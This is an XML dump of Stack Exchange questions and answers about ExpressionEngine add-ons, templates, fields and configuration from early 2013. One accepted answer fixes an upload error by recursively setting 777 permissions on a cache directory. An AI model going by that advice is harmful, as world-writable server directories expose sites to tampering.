  <row Id="6564" PostTypeId="1" CreationDate="2013-02-20T17:45:40.437" Score="0" ViewCount="49" Body="&lt;p&gt;Is there a way to hide the filters for a Playa field that has is set to allow multiple entries? This is being used in a safecracker form and I don't want users to see statuses, categories, member groups etc - just a simple drag and drop list that shows entries from A-Z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2013-03-23T20:50:34.030" Title="Hiding filters for a playa field" Tags="|playa|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6565" PostTypeId="1" AcceptedAnswerId="6602" CreationDate="2013-02-20T18:20:01.397" Score="2" ViewCount="915" Body="&lt;p&gt;I've always tried to avoid using WYSIWYG except for the main body field, thinking that it was better to try and keep as much as possible as plain text in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the conflicting methods/styles could confuse content editors, so I'm now thinking it might  be better to use a constrained version of WYGWAM for all textareas instead of the Rich Text Formatting buttons/toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any performance loss or a problem further down the line that may cause me to regret going down this road?&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2013-04-16T01:58:42.283" Title="Is there a downside of using WYGWAM over Rich Text formatting buttons" Tags="|custom-fields|wygwam|wysiwyg|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6567" PostTypeId="1" AcceptedAnswerId="6574" CreationDate="2013-02-20T18:32:24.283" Score="3" ViewCount="1219" Body="&lt;p&gt;Cannot upload files with Assets v2.0.5 in ExpressionEngine v2.5.5. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Files uploaded with native EE file manager works.&lt;/li&gt;&#xA;&lt;li&gt;Directory permissions for upload directory is 777 (for&#xA;troubleshooting sake).&lt;/li&gt;&#xA;&lt;li&gt;XSS filtering on uploads is DISABLED per config file and db settings.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Action # 38 in database is &lt;strong&gt;upload_file&lt;/strong&gt; method.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Uploading files using assets results in the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was an error uploading your file: Your file could not be saved. Either the upload was cancelled, or there was a server error. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Header/response information from the request below:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Request URL:http://website.com/?folder=2&amp;amp;ACT=38&amp;amp;qqfile=small_image.jpg&#xA;Request Method:POST &#xA;Status Code:200 OK &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Request Headers: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Accept:*/* &#xA;Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3 &#xA;Accept-Encoding:gzip,deflate,sdch &#xA;Accept-Language:en-US,en;q=0.8 &#xA;Cache-Control:no-cache &#xA;Connection:keep-alive &#xA;Content-Length:5750 &#xA;Content-Type:application/octet-stream &#xA;Cookie:exp_perpage=150; exp_last_visit=1361303427; exp_last_visit=1361303427; exp_last_activity=1361319620; exp_last_activity=1361319626; exp_sessionid=44b2b994fb6c7f4e0960bb746fdf415e3e01daa6; exp_expiration=1392855796; exp_sessionid=44b2b994fb6c7f4e0960bb746fdf415e3e01daa6; exp_expiration=1392856008; arp_scroll_position=0 &#xA;Host:website.com &#xA;Origin:http://website.com &#xA;Pragma:no-cache &#xA;Referer:http://website.com/system/index.php?S... &#xA;User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 &#xA;X-File-Name:small_image.jpg &#xA;X-Requested-With:XMLHttpRequest &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Response Headers: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Connection:Keep-Alive &#xA;Content-Encoding:gzip &#xA;Content-Length:122 &#xA;Content-Type:text/html; charset=utf-8 &#xA;Date:Wed, 20 Feb 2013 00:26:57 GMT &#xA;Keep-Alive:timeout=5, max=99 &#xA;Server:Apache &#xA;Set-Cookie:exp_sessionid=44b2b994fb6c7f4e0960bb746fdf415e3e01daa6; expires=Wed, 20-Feb-2013 02:26:57 GMT; path=/ &#xA;Set-Cookie:exp_expiration=1392856017; expires=Thu, 20-Feb-2014 00:26:57 GMT; path=/ &#xA;Vary:Accept-Encoding&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="339" LastActivityDate="2014-07-31T03:22:24.260" Title="Can't upload files to Assets 2.0.5 in ExpressionEngine 2.5.5" Tags="|assets|file-uploads|v2.5.5|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6568" PostTypeId="1" AcceptedAnswerId="6569" CreationDate="2013-02-20T18:47:08.143" Score="2" ViewCount="190" Body="&lt;p&gt;Under our login form, I have a 'forgot password' link which goes to the native EE page for this: /members/forgot_password. When the link is clicked:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE sends an email to the user.&lt;/li&gt;&#xA;&lt;li&gt;User clicks on link.&lt;/li&gt;&#xA;&lt;li&gt;EE resets password to something random.&lt;/li&gt;&#xA;&lt;li&gt;EE emails new password to user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd like the change this sequence so the user can create a new password. How would I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-02-20T19:06:35.237" Title="Altering the 'forgot password' behavior?" Tags="|login|users|password|authentication|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6569" PostTypeId="2" ParentId="6568" CreationDate="2013-02-20T18:56:20.493" Score="3" Body="&lt;p&gt;There are at least two add-ons which will allow the password reset to work as you described, with the user entering their own password:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;FreeMember&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;&#xA;See the &lt;a href=&quot;https://github.com/expressodev/freemember/wiki/Reset-Password-Tag&quot; rel=&quot;nofollow&quot;&gt;reset_password tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Reset Password tag allows users to change their password directly,&#xA;  after they click the link in their email.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/securitee&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Securit:ee&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;&#xA;See the &lt;a href=&quot;http://www.mithra62.com/docs/detail/securitee-template-tags/forgot-password&quot; rel=&quot;nofollow&quot;&gt;forgot_password tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Instead of resetting a password Securit:ee sends a confirmation code,&#xA;  that auto expires, and allows users to set their own passwords&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-20T19:06:35.237" LastActivityDate="2013-02-20T19:06:35.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6570" PostTypeId="1" AcceptedAnswerId="6571" CreationDate="2013-02-20T18:57:00.263" Score="6" ViewCount="340" Body="&lt;p&gt;I've came across a problem today where I wanted to 'inject' a stash pipe separated list of entry_ids into the entry_id parameter of a channel entries loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem wasn't to do with stash as such. I'd got my parse order correct, and stash was doing it's job as expected. The problem was that when my stash variable didn't contain any entry_ids, the channel_entries loop just output the latest entries in that channel rather than output nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my initial code that didn't do what I wanted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;recently_viewed_ids&quot; output=&quot;no&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;{exp:channel:entries channel=&quot;properties&quot; disable=&quot;categories|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot; backspace=&quot;1&quot;}{entry_id}|{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the channel entries loop that used the stash variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;properties&quot;&#xA;    entry_id=&quot;{exp:stash:get name='recently_viewed_ids'}&quot;&#xA;    limit=&quot;4&quot;&#xA;    disable=&quot;categories|member_data|pagination|trackbacks&quot; &#xA;    parse=&quot;inward&quot;&#xA;}&#xA;{!-- display custom fields here --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So even if recently_viewed_ids was empty, EE returned the 4 latest entries in the channel, rather than nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's the way around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2013-02-20T18:57:00.263" Title="Problem with injecting stash pipe separated entry_ids into channel entries loop when no results" Tags="|channel-entries|stash|entryid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6571" PostTypeId="2" ParentId="6570" CreationDate="2013-02-20T18:57:00.263" Score="5" Body="&lt;p&gt;After much searching and head scratching I finally turned to Twitter and got help from the fabulous @mediagirl and @low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution to this is fairly simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To trigger a 'no_results' situation in the channel_entries loop using the entry_id parameter we have to enter either &quot;-1&quot; or &quot;0|&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_id = &quot;0|&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case I used &quot;0|&quot; and actually fixed_order instead of entry_id to preserve the order that the entry_ids are in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my final working code now looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;properties&quot;&#xA;    fixed_order=&quot;0|{exp:stash:get name='recently_viewed_ids'}&quot;&#xA;    limit=&quot;4&quot;&#xA;    disable=&quot;categories|member_data|pagination|trackbacks&quot; &#xA;    parse=&quot;inward&quot;&#xA;}&#xA;    {!-- display custom fields here --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that this manages to help someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, I should add that I'm using the JP Recently Viewed extension, so my original channel_entries loop also contains recently_viewed=&quot;y&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2013-02-20T18:57:00.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6572" PostTypeId="1" CreationDate="2013-02-20T19:27:47.130" Score="0" ViewCount="46" Body="&lt;p&gt;I wondered if anyone could suggest the best direction to take for this site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is mainly a site with members profiles.  Members will add a profile and others will search through their profiles.  The members will fill out a short form with bio/contact/ and other information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IS it best to have everything in member fields using something like Solspace User or have a simple member form and have all the content in a channel entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What sort of things do I need to consider in making this choice?  I will want to be able to sort and filter the members profiles with items such as categories etc.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-02-20T19:57:42.873" Title="member site suggestions" Tags="|members|" AnswerCount="1" CommentCount="0" ClosedDate="2013-02-20T21:29:42.027" ContentLicense="CC BY-SA 3.0" />
  <row Id="6573" PostTypeId="2" ParentId="6572" CreationDate="2013-02-20T19:47:11.680" Score="1" Body="&lt;p&gt;You could use an add-on like &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; or &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt; which all use channel entries for their members. You'll then be able to treat members like you would any other channel. (Safecracker, etc)&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-02-20T19:57:42.873" LastActivityDate="2013-02-20T19:57:42.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6574" PostTypeId="2" ParentId="6567" CreationDate="2013-02-20T19:48:28.937" Score="8" Body="&lt;p&gt;The solution was to recurse 777 to the /system/expressionengine/cache/ directory as there are thumb directories that Assets creates to hold thumbnails, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you Lisa Wess (from Pixel &amp;amp; Tonic) for the solution!&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2013-02-20T19:48:28.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6576" PostTypeId="1" CreationDate="2013-02-20T20:39:01.103" Score="0" ViewCount="58" Body="&lt;p&gt;I'm looking for an add-on that gives me a custom field with the &quot;unlimited rows&quot; aspect of Matrix, but I don't need the columns or need to specify additional fieldypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an add-on that would allow me to add an arbitrary number of free-form chunks of data to an entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated to say: I'm looking to be able to add unlimited new textareas to an entry, in which I need to enter editable text. The limited size of Matrix/Grid Lite/P&amp;amp;T List fields don't quite work (but I'll fall back to Matrix if nothing else works out).&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="55" LastEditDate="2013-02-20T21:27:11.453" LastActivityDate="2013-02-20T21:27:11.453" Title="Looking for a Matrix-like add-on which allows large textareas" Tags="|add-on|matrix|" AnswerCount="2" CommentCount="2" ClosedDate="2013-02-20T21:28:21.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="6577" PostTypeId="2" ParentId="6576" CreationDate="2013-02-20T20:44:09.787" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/grid-lite&quot; rel=&quot;nofollow&quot;&gt;Grid Lite&lt;/a&gt; may be of use to you. (I haven't tried it though)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I think &lt;a href=&quot;https://objectivehtml.com/&quot; rel=&quot;nofollow&quot;&gt;Objective HTML&lt;/a&gt; may be working on a table-esque fieldtype.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-02-20T20:44:09.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6578" PostTypeId="2" ParentId="6563" CreationDate="2013-02-20T20:46:19.600" Score="7" Body="&lt;p&gt;Make sure that the member adding the entry is in a group that has access to the non-closed statuses.  Before you do that, ensure a status group is assigned to the channel.  Superadmins can use Open and Closed even without a status group assigned; but others can't - and that is the most common cause of what you're seeing.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-20T20:46:19.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6579" PostTypeId="2" ParentId="6576" CreationDate="2013-02-20T20:49:04.637" Score="1" Body="&lt;p&gt;Would &lt;a href=&quot;http://pixelandtonic.com/divebar&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T List&lt;/a&gt; meet your project's needs?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-20T20:49:04.637" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6580" PostTypeId="1" CreationDate="2013-02-20T22:27:21.680" Score="2" ViewCount="259" Body="&lt;p&gt;I am getting an error when I try to load and entry in our EE Install.  I am posting here first as I think it is an Assets issue.  I am running EE 2.5.5 with latest version of MSM.  This is only happening to users accessing this specific entry so far.  As a Super Admin I can access the entry without issues.  Here is the error I am getting. Originally this shows up as a blank white page until I turn debug mode on.  Any help you be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception&#xA;'Exception' with message 'Assets could not complete the requested operation.' in &#xA;/home/uuoci/public_html/system/expressionengine/third_party/assets/sources/ee/file.ee.php:33 &#xA;Stack trace: #0 /home/uuoci/public_html/system/expressionengine/third_party/assets/sources/base_source.php(807&#xA;): Assets_ee_file-&amp;gt;__construct(1467, Object(Assets_ee_source)) #1 /home/uuoci/public_html/system/expressionengine/third_party/assets/libraries/assets_lib.php(64&#xA;7): Assets_base_source-&amp;gt;get_file(1467) #2 /home/uuoci/public_html/system/expressionengine/third_party/wygwam/helper.php(899): &#xA;Assets_lib-&amp;gt;get_file_by_id(Array) #3 /home/uuoci/public_html/system/expressionengine/third_party/wygwam/ft.wygwam.php(397): &#xA;Wygwam_helper::replace_asset_tags('&amp;amp;lt;h2&amp;amp;gt;??Swi...') #4 /home/uuoci/public_html/system/expressionengine/fieldtypes/EE_Fieldtype.php(242): Wygwam_ft-&amp;gt;display_field('&amp;amp;lt;h2&amp;amp;gt;??Swi...') #5 [internal function]: EE_Fieldtype-&#xA;&amp;gt;display_publish_field('&amp;amp;lt;h2&amp;amp;gt;??Swi...') #6 /home/uuoci/public_html/system/express in /home/uuoci/public_html/system/expressionengine/third_party/assets/sources/ee/file.ee.php on line 33&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1042" LastEditorUserId="1042" LastEditDate="2013-02-20T22:32:41.770" LastActivityDate="2013-10-16T06:46:22.270" Title="Issue with Assets 2.0.5" Tags="|ee2|pixelandtonic|assets|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6581" PostTypeId="1" CreationDate="2013-02-20T22:30:42.363" Score="1" ViewCount="267" Body="&lt;p&gt;I had a custom field in a channel that was a standard text area. This was also included within a safecracker form. I recently changed the field to a RTE text area field, and all my existing entries updated nicely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I have this field in a safecracker form like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea rows=&quot;8&quot; class=&quot;span16&quot; name=&quot;my_custom_field&quot; id=&quot;my_custom_field&quot; value=&quot;my_custom_field&quot;&amp;gt;{my_custom_field}&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now when an entry is submitted via the safecracker form, it throws up an error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with &lt;code&gt;Message: Undefined property: EE::$rte_lib&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am assuming this is because i have change this field. Can I easily change the safecracker form to work with this field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Should add:&lt;/strong&gt;&#xA;I'm not worried about the RTE features being available on the front end, just in the CP. Not sure if this helps things!&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2013-02-20T22:48:09.087" LastActivityDate="2013-03-29T23:56:45.600" Title="Changed a textarea to a RTE textarea, now not working in safecracker" Tags="|safecracker|custom-fields|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6582" PostTypeId="1" AcceptedAnswerId="6724" CreationDate="2013-02-21T03:17:32.163" Score="4" ViewCount="544" Body="&lt;p&gt;I'm in the process of securing my control panel with SSL using the following rewrite rules&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTPS} off&#xA;RewriteCond $1 ^(member|system) [NC]&#xA;RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd prefer not to secure the frontend of my website as well, however if an admin visits the frontend of the website over unsecured http while logged in, will this open them up to &lt;a href=&quot;http://en.wikipedia.org/wiki/Session_hijacking#Methods&quot; rel=&quot;nofollow&quot;&gt;session sidejacking&lt;/a&gt;? If so is there a way around this? Should I be worried? &lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-02-25T18:38:20.963" Title="Securing the control panel with SSL" Tags="|control-panel|security|sessions|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6583" PostTypeId="1" AcceptedAnswerId="6867" CreationDate="2013-02-21T03:27:09.833" Score="2" ViewCount="273" Body="&lt;p&gt;I'm running into an issue with Assets and Freemember running together. I've narrowed it down to some code in Assets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freemember is throwing a 403 error on register because it's generating the template from the ACTION function. This is causing Assets to throw a 403 because it's checking for an ACTION request on line 24 of sources/ee/source.ee.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that can be fixed in assets or should Freemember fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is happening on:&lt;br&gt;&#xA;EE 2.5.5&lt;br&gt;&#xA;Assets 2.0.5&lt;br&gt;&#xA;Freemember 2.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris&lt;/p&gt;&#xA;" OwnerUserId="1043" LastEditorUserId="1043" LastEditDate="2013-02-26T22:52:57.433" LastActivityDate="2013-02-28T17:27:02.797" Title="403 Error with Assets 2.0.5 and Freemember" Tags="|add-on|assets|freemember|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6584" PostTypeId="2" ParentId="1763" CreationDate="2013-02-21T05:29:12.613" Score="3" Body="&lt;p&gt;Have you looked at Content Elements? &lt;a href=&quot;http://dvt.ee/ad0g9RJ&quot; rel=&quot;nofollow&quot;&gt;http://dvt.ee/ad0g9RJ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2013-02-21T05:29:12.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6585" PostTypeId="1" CreationDate="2013-02-21T08:49:31.177" Score="3" ViewCount="100" Body="&lt;p&gt;in Expression engine form Admin section there is option of validating &quot;Is this a required field?&quot;. doing the check box also it the validation is not working. please any body help me as soon as possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it already there in admin section saying &quot;Is this a required field?&quot;, i checked the check box and submit it. but still the validation is not happening.&#xA; location of page is CP&gt;Home&gt;Administration&gt;Custom Channel&gt; Fields&gt;Edit Field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field Type is Matrix. Matrix Configuration is file type&lt;/p&gt;&#xA;" OwnerUserId="1044" LastEditorUserId="1045" LastEditDate="2013-02-21T09:37:15.007" LastActivityDate="2013-02-21T12:58:19.650" Title="in Expression engine form Admin section there is option of validating &quot;Is this a required field?&quot;" Tags="|validation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6587" PostTypeId="1" CreationDate="2013-02-21T09:51:25.847" Score="1" ViewCount="96" Body="&lt;p&gt;I'm working on a site that uses Simple Registration to handle user registrations (we needed the facility to assign people to a particular group on sign up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need this process to involve adding the user to a mailing list on Campaign Monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the excellent Campaigner, but this doesn't seem to work with Simple Registration. I'm not sure why at the moment but it seems the 2 add-ons don't play nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got experience of this or have a solution?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-02-22T11:56:07.637" Title="Looking for a way to get Simple Registration add-on to send details to Campaign Monitor list subscription" Tags="|members|campaignmonitor|signup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6588" PostTypeId="2" ParentId="6585" CreationDate="2013-02-21T09:53:30.577" Score="5" Body="&lt;p&gt;If your field is a Matrix field, just checking the native &quot;Is this a required field?&quot; is not sufficient. You need to look further down in your Matrix columns. There is an &quot;Is col required&quot; setting for each column in your matrix field. Tick those and presto, required columns in a matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also constrain the number of rows by using the min rows and max rows parameters&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-21T12:58:19.650" LastActivityDate="2013-02-21T12:58:19.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6589" PostTypeId="1" CreationDate="2013-02-21T12:13:13.677" Score="0" ViewCount="88" Body="&lt;p&gt;I need to make a Matrix fieldtype where i have:&#xA;1 Column -&gt; Text field -&gt; Label: Chapter&#xA;2 Column -&gt; Matrix -&gt; 1 Column -&gt; Text field -&gt; Label: Slide&#xA;                   -&gt; 2 Column -&gt; File field -&gt; file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to do it like a PowerPoint slideshow where Members can make a new slideshow with an entry in a channel &quot;presentation&quot;, and add &quot;chapter 1&quot; -&gt; add slide 1, add slide 2, add slide 3 ... Then add &quot;chapter 2&quot; -&gt; add slide 4, add slide 5, add slide 6 ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me to understad how?&lt;/p&gt;&#xA;" OwnerUserId="1047" LastEditorUserId="28" LastEditDate="2013-02-21T18:23:57.050" LastActivityDate="2013-02-21T18:23:57.050" Title="Can I make a Matrix Fieldtype and put in a row another Matrix fieldtype that contain file fieldtype?" Tags="|matrix|" AnswerCount="2" CommentCount="0" ClosedDate="2013-02-23T16:33:21.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="6590" PostTypeId="2" ParentId="6589" CreationDate="2013-02-21T12:50:48.037" Score="0" Body="&lt;p&gt;Whilst you may be able to cobble this together using something like &lt;a href=&quot;https://github.com/iainurquhart/Nolan&quot; rel=&quot;nofollow&quot;&gt;Nolan&lt;/a&gt;, I would instead recommend using two separate channels - one for Presentations and another for Slides, then use &lt;a href=&quot;http://pixelandtonic.com/playa/&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; to pull in the relevant slides into a presentation. This will give you much more flexibility (multiple custom fields/matrices per-slide) and will probably perform better too.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-02-21T12:50:48.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6591" PostTypeId="1" AcceptedAnswerId="6595" CreationDate="2013-02-21T13:41:00.527" Score="4" ViewCount="510" Body="&lt;p&gt;I've got a payment form set up with all the requisite stripe javascript in place. I can see that at the point of submission, the stripeResponseHandler is getting fired and is coming back with a token, which is being inserted into my form before it's finally submitted. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;stripeToken&quot; value=&quot;tok_...&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I can't understand why I'm getting this error on my payment form:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Token field is required.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I mean, it's there, plain as day. I'm getting returned to the checkout page, with that error, instead of going to the final 'order' page. No order is being created in the CP, so something's definitely not working, but it all looks good according to the Stripe docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known issue? Have I made a silly error somewhere?&lt;/p&gt;&#xA;" OwnerUserId="871" LastEditorUserId="150" LastEditDate="2013-02-21T14:09:52.803" LastActivityDate="2013-02-21T14:09:52.803" Title="Expresso Store Stripe integration - &quot;The Token field is required.&quot; problem" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6592" PostTypeId="1" CreationDate="2013-02-21T13:46:37.150" Score="2" ViewCount="1197" Body="&lt;p&gt;I'm new to ExpressionEngine and I was wondering if there is a way to display status and error messages inline instead of on their own page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, it would be nice, if someone got their password wrong, if it didn't show you that on a separate page, but instead showed you that on the same page (similar to the way Drupal does it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="965" LastEditorUserId="28" LastEditDate="2013-02-21T18:04:32.417" LastActivityDate="2013-02-21T18:14:34.560" Title="Is there a way to display inline Status &amp; Error Messages?" Tags="|ee2|error|status|system-messages|messages|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
